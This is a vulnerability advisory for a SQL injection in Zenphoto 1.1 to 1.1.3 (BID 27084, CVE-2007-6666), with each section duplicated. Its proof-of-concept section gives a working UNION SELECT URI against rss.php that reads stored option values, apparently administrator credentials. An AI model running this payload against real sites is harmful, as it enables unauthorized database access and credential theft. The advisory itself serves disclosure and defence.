Zenphoto 'rss.php' SQL Injection Vulnerability
BID:27084
Info
Zenphoto 'rss.php' SQL Injection Vulnerability
| Bugtraq ID: | 27084 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6666 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 31 2007 12:00AM |
| Updated: | Apr 16 2015 06:07PM |
| Credit: | Silentz is credited with the discovery of this vulnerability. |
| Vulnerable: |
Zenphoto zenphoto 1.1.3 Zenphoto zenphoto 1.1.2 Zenphoto zenphoto 1.1.1 Zenphoto zenphoto 1.1 |
| Not Vulnerable: | |
Discussion
Zenphoto 'rss.php' SQL Injection Vulnerability
Zenphoto is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects Zenphoto 1.1, 1.1.1, 1.1.2, and 1.1.3; other versions may also be affected.
Zenphoto is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects Zenphoto 1.1, 1.1.1, 1.1.2, and 1.1.3; other versions may also be affected.
Exploit / POC
Zenphoto 'rss.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI and exploit code are available:
http://www.example.com/zenphoto/rss.php?albumnr=1 UNION SELECT 0,0,0,(SELECT value FROM zp_options WHERE id=12),(SELECT value FROM zp_options WHERE id=13) ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0/*
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI and exploit code are available:
http://www.example.com/zenphoto/rss.php?albumnr=1 UNION SELECT 0,0,0,(SELECT value FROM zp_options WHERE id=12),(SELECT value FROM zp_options WHERE id=13) ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0/*
Solution / Fix
Zenphoto 'rss.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].